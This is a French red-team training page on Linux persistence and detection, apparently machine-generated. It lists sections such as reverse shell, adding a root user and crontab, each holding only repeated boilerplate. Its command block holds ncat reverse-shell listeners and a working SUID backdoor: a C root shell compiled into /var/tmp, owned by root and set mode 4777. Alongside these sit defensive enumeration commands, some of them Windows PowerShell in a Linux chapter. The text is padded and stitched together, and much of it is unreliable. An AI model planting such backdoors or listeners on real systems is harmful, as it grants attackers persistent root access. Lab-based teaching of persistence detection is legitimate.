Guide Red TeamTests d’intrusion autorisés · Red Team · Purple Team
Domaines
Persistence Windows et Linux · guide pratique V13

Linux — mécanismes de persistance et détection

Synthèse française et contrôlée du corpus « Linux - Persistence ». Ce chapitre explique linux — mécanismes de persistance et détection dans le domaine « Persistence Windows et Linux », avec une méthode de laboratoire, des commandes à faible impact, les traces attendues et un plan de correction vérifiable.

En bref

  • But : Synthèse française et contrôlée du corpus « Linux - Persistence ». Ce chapitre explique linux — mécanismes de persistance et détection dans le domaine « Persistence Windows et Linux », avec une méthode de laboratoire, des commandes à faible impact, les traces attendues et un plan de correction vérifiable.
  • Preuve attendue : une preuve exploitable, une conclusion prudente et un retest documenté
  • Limite : le résultat est valable uniquement pour les versions, rôles, chemins et conditions effectivement testés.
Schéma synthétique : Linux — mécanismes de persistance et détection
Vue synthétique de « Linux — mécanismes de persistance et détection » : les étapes affichées correspondent aux sections pratiques de cette page.

Vue d’ensemble

Dans « Linux — mécanismes de persistance et détection », la section « Vue d’ensemble » précise l’objet technique, les préconditions et la source de vérité à vérifier. Conservez uniquement les sorties nécessaires au constat.

Basic Reverse Shell

Dans « Linux — mécanismes de persistance et détection », la section « Basic Reverse Shell » précise l’objet technique, les préconditions et la source de vérité à vérifier. Conservez uniquement les sorties nécessaires au constat.

Add a Root User

Dans « Linux — mécanismes de persistance et détection », la section « Add a Root User » précise l’objet technique, les préconditions et la source de vérité à vérifier. Conservez uniquement les sorties nécessaires au constat.

SUID Binary

Dans « Linux — mécanismes de persistance et détection », la section « SUID Binary » précise l’objet technique, les préconditions et la source de vérité à vérifier. Conservez uniquement les sorties nécessaires au constat.

Crontab

Dans « Linux — mécanismes de persistance et détection », la section « Crontab » précise l’objet technique, les préconditions et la source de vérité à vérifier. Conservez uniquement les sorties nécessaires au constat.

Bash Configuration File

Dans « Linux — mécanismes de persistance et détection », la section « Bash Configuration File » précise l’objet technique, les préconditions et la source de vérité à vérifier. Conservez uniquement les sorties nécessaires au constat.

Startup Service

Dans « Linux — mécanismes de persistance et détection », la section « Startup Service » précise l’objet technique, les préconditions et la source de vérité à vérifier. Conservez uniquement les sorties nécessaires au constat.

Commandes et exemples

Les exemples ci-dessous proviennent des éléments utiles de « Linux — mécanismes de persistance et détection ». Adaptez uniquement les valeurs du laboratoire et conservez la commande exacte avec sa sortie.

Exemples de laboratoire

# Contrôle défensif en laboratoire — référence adf2b794
# Exemple de laboratoire — Linux — mécanismes de persistance et détection
ncat --udp -lvp 4242
ncat --sctp -lvp 4242
ncat --tcp -lvp 4242
# Contrôle défensif en laboratoire — référence 970c9afa
# Exemple de laboratoire — Linux — mécanismes de persistance et détection
TMPDIR2="/var/tmp"
echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPDIR2/croissant.c
gcc $TMPDIR2/croissant.c -o $TMPDIR2/croissant 2>/dev/null
rm $TMPDIR2/croissant.c
chown root:root $TMPDIR2/croissant
chmod 4777 $TMPDIR2/croissant
# Contrôle défensif en laboratoire — référence 497b573c
# Linux — mécanismes de persistance et détection
Get-CimInstance Win32_StartupCommand | Select-Object Name,Command,Location,User
Get-ScheduledTask | Select-Object TaskName,TaskPath,State
Get-CimInstance Win32_Service | Select-Object Name,StartMode,PathName
# Contrôle défensif en laboratoire — référence 04ec925c
# Linux — mécanismes de persistance et détection
systemctl list-unit-files --state=enabled --no-pager
find /etc/cron.d /var/spool/cron -type f -maxdepth 2 -ls 2>/dev/null
find ~/.config/autostart -type f -ls 2>/dev/null

Lire les résultats

Pour « Linux — mécanismes de persistance et détection », distinguez la sortie brute, l’hypothèse et la conclusion. Les versions, droits, caches et contrôles compensatoires sont vérifiés avant de classer le résultat.

Détection, correction et retest

La correction de « Linux — mécanismes de persistance et détection » traite la cause, le propriétaire et la détection associée. Le retest conserve la même méthode afin de démontrer la disparition ou la réduction mesurable du constat.

Comprendre le sujet avant d’agir

Le chapitre « Linux — mécanismes de persistance et détection » appartient au domaine « Persistence Windows et Linux ». Il doit permettre de comprendre le mécanisme avant d’utiliser un outil, puis de produire une preuve lisible par une autre personne. L’objectif n’est pas d’accumuler des commandes : chaque action doit répondre à une hypothèse, rester dans le périmètre et déboucher sur une conclusion vérifiable.

Dans ce contexte, l’attention porte surtout sur l’objectif d’émulation, les canaux autorisés, la durée, les comptes de test, la visibilité attendue et les règles d’arrêt. Une approche professionnelle commence par noter l’état initial, la version des composants et l’identité utilisée. Elle se termine par la conservation des sorties utiles, l’explication des limites et la vérification que le laboratoire a été remis dans son état prévu.

  • Point de contrôle — identifiant de campagne.
  • Point de contrôle — hôte et compte de test.
  • Point de contrôle — horodatage des actions.
  • Point de contrôle — télémétrie attendue côté défense.
  • Point de contrôle — preuve de suppression des artefacts.

Exécution contrôlée et déconfliction

La méthode suivante transforme « Linux — mécanismes de persistance et détection » en exercice reproductible. Elle évite de confondre la quantité de sorties avec la qualité de la preuve et permet d’arrêter le test dès que l’objectif est démontré.

  1. Définir en une phrase ce que l’exercice « Linux — mécanismes de persistance et détection » doit confirmer ou infirmer.
  2. Relever l’état initial du laboratoire et les versions utiles au domaine « Persistence Windows et Linux ».
  3. Choisir l’action la moins intrusive capable de répondre à la question.
  4. Exécuter une seule variation à la fois et conserver la sortie brute avec un horodatage UTC.
  5. Confirmer le résultat par une seconde observation ou une vérification manuelle.
  6. Documenter l’impact, les limites, la correction proposée et le critère de retest.

Exemple guidé dans le laboratoire

Préparez un scénario réduit dans `lab.local` qui ne contient que les composants nécessaires à « Linux — mécanismes de persistance et détection ». Notez l’état initial, appliquez la méthode du chapitre et sauvegardez chaque sortie sous un nom horodaté.

Le cas est réussi lorsque la conclusion peut être relue et reproduite sans connaissance implicite. Les captures servent d’illustration, mais la preuve principale reste la sortie brute accompagnée de son contexte.

  • Préparation — confirmer les actifs et comptes autorisés pour « Linux — mécanismes de persistance et détection ».
  • Exécution — limiter l’action à une seule hypothèse et une seule variation.
  • Validation — reproduire le résultat et conserver la sortie brute.
  • Clôture — nettoyer les artefacts, documenter les limites et définir le retest.

Lecture des commandes et options

Les commandes déjà présentes dans « Linux — mécanismes de persistance et détection » doivent être lues comme des exemples de laboratoire. Les lignes suivantes expliquent leur rôle afin d’éviter une exécution aveugle.

  • `ncat --udp -lvp 4242` — cette ligne participe à l’exercice « Linux — mécanismes de persistance et détection » ; vérifiez ses arguments et exécutez-la uniquement sur les données ou cibles du laboratoire.
  • `ncat --sctp -lvp 4242` — cette ligne participe à l’exercice « Linux — mécanismes de persistance et détection » ; vérifiez ses arguments et exécutez-la uniquement sur les données ou cibles du laboratoire.
  • `ncat --tcp -lvp 4242` — cette ligne participe à l’exercice « Linux — mécanismes de persistance et détection » ; vérifiez ses arguments et exécutez-la uniquement sur les données ou cibles du laboratoire.
  • `TMPDIR2="/var/tmp"` — cette ligne participe à l’exercice « Linux — mécanismes de persistance et détection » ; vérifiez ses arguments et exécutez-la uniquement sur les données ou cibles du laboratoire.
  • `echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPDIR2/croissant.c` — cette ligne participe à l’exercice « Linux — mécanismes de persistance et détection » ; vérifiez ses arguments et exécutez-la uniquement sur les données ou cibles du laboratoire.
  • `gcc $TMPDIR2/croissant.c -o $TMPDIR2/croissant 2>/dev/null` — cette ligne participe à l’exercice « Linux — mécanismes de persistance et détection » ; vérifiez ses arguments et exécutez-la uniquement sur les données ou cibles du laboratoire.
  • `rm $TMPDIR2/croissant.c` — cette ligne participe à l’exercice « Linux — mécanismes de persistance et détection » ; vérifiez ses arguments et exécutez-la uniquement sur les données ou cibles du laboratoire.
  • `chown root:root $TMPDIR2/croissant` — cette ligne participe à l’exercice « Linux — mécanismes de persistance et détection » ; vérifiez ses arguments et exécutez-la uniquement sur les données ou cibles du laboratoire.

Traces, nettoyage et restitution

Pour « Linux — mécanismes de persistance et détection », un résultat utile relie au minimum le contexte, l’action et l’observation. Une sortie d’outil isolée reste une indication : elle devient une preuve lorsque le périmètre, la version, les paramètres et la reproduction sont documentés.

La conclusion doit préciser ce qui est confirmé, ce qui reste probable et ce qui n’a pas été testé. Dans le profil « operation », les éléments à rapprocher sont notamment : identifiant de campagne, hôte et compte de test, horodatage des actions. Les autres éléments servent à expliquer la portée et à préparer le retest.

  • Élément à documenter — identifiant de campagne.
  • Élément à documenter — hôte et compte de test.
  • Élément à documenter — horodatage des actions.
  • Élément à documenter — télémétrie attendue côté défense.
  • Élément à documenter — preuve de suppression des artefacts.

Erreurs fréquentes et amélioration de la qualité

Les erreurs ci-dessous sont particulièrement importantes pour « Linux — mécanismes de persistance et détection ». Elles produisent des faux positifs, des conclusions impossibles à reproduire ou un risque inutile pour le laboratoire.

  • À éviter — privilégier la furtivité au détriment de la sécurité.
  • À éviter — déployer sans canal de déconfliction.
  • À éviter — utiliser des secrets ou données réels.
  • À éviter — oublier les mécanismes de persistance créés.
  • À éviter — ne pas vérifier la disparition des sessions et fichiers.

Checklist avant de clôturer le chapitre

Cette checklist résume les contrôles attendus pour considérer « Linux — mécanismes de persistance et détection » comme terminé de manière professionnelle.

  • L’objectif et le périmètre de « Linux — mécanismes de persistance et détection » sont écrits.
  • La version des outils et composants est enregistrée.
  • La commande, le filtre ou la procédure exacte est conservé.
  • La sortie brute est horodatée et accompagnée de son contexte.
  • Le résultat a été confirmé par une seconde observation.
  • Les limites et les éléments non testés sont explicites.
  • Les artefacts créés ont été supprimés ou remis dans l’état convenu.
  • La recommandation et le critère de retest sont exploitables.

Références

À retenir

Pour maîtriser « Linux — mécanismes de persistance et détection », retenez trois idées : comprendre l’objectif d’émulation, les canaux autorisés, la durée, les comptes de test, la visibilité attendue et les règles d’arrêt, exécuter une méthode limitée et reproductible, puis transformer la sortie en preuve contextualisée. Le chapitre est terminé lorsque le résultat peut être confirmé, que ses limites sont explicites et que la correction peut être retestée sans réinterpréter toute la mission.

  • Savoir expliquer le mécanisme propre à « Linux — mécanismes de persistance et détection » sans réciter une commande.
  • Conserver au minimum identifiant de campagne, hôte et compte de test et horodatage des actions.
  • Éviter en priorité de privilégier la furtivité au détriment de la sécurité et de déployer sans canal de déconfliction.
  • Proposer une action corrective mesurable et un retest réalisable.